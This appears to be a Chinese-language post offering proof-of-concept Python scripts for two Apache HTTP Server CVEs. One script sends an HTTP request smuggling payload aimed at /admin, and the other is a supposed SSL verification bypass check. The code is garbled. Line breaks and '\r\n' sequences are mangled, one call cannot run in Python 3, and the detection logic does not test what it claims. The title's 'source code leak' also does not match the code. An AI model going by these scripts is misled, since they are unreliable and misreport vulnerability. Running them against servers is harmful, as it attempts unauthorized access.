CVE-2024-40725｜Apache HTTP Server 源代码泄露漏洞（POC）

import requestsimport argparse

def detect_http_request_smuggling(target_url):    """    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40725 (HTTP Request Smuggling) 漏洞

    :param target_url: 目標伺服器的 URL    """    # 構造 HTTP Request Smuggling 攻擊請求    smuggled_request = (        "POST / HTTP/1.1rn"        "Host: {}rn"        "Content-Length: 0rn"        "Transfer-Encoding: chunkedrn"        "rn"        "0rnrn"        "GET /admin HTTP/1.1rn"        "Host: {}rn"        "User-Agent: smuggle-testrn"        "rn"    ).format(target_url, target_url)

    try:        # 發送請求到目標伺服器        response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)

        # 判斷回應是否表示存在漏洞        if response.status_code == 200 and "admin" in response.text:            print(f"目標 {target_url} 可能存在 CVE-2024-40725 漏洞")        else:            print(f"目標 {target_url} 不存在 CVE-2024-40725 漏洞")    except Exception as e:        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40725 漏洞')    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')    args = parser.parse_args()    detect_http_request_smuggling(args.url)

import sslimport socketimport argparse

def detect_ssl_verification_bypass(target_host, target_port):    """    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40898 (SSL 驗證繞過) 漏洞

    :param target_host: 目標伺服器的主機名或 IP 地址    :param target_port: 目標伺服器的端口號    """    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)    context.verify_mode = ssl.CERT_OPTIONAL

    try:        # 連接目標伺服器        with socket.create_connection((target_host, target_port)) as sock:            with context.wrap_socket(sock, server_hostname=target_host) as ssock:                ssock.sendall(b"HEAD / HTTP/1.1rnHost: {}rnrn".format(target_host.encode()))                response = ssock.recv(4096)

                # 判斷回應是否表示存在漏洞                if b"200 OK" in response:                    print(f"目標 {target_host}:{target_port} 可能存在 CVE-2024-40898 漏洞")                else:                    print(f"目標 {target_host}:{target_port} 不存在 CVE-2024-40898 漏洞")    except Exception as e:        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40898 漏洞')    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')    args = parser.parse_args()

    # 分割主機名和端口號    target_host, target_port = args.url.split(":")    detect_ssl_verification_bypass(target_host, int(target_port))